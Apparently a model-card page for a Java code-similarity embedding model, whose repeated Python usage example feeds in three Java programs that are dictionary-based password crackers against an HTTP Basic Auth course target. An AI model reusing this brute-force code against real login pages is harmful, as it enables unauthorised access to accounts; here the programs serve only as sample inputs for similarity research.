\'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', 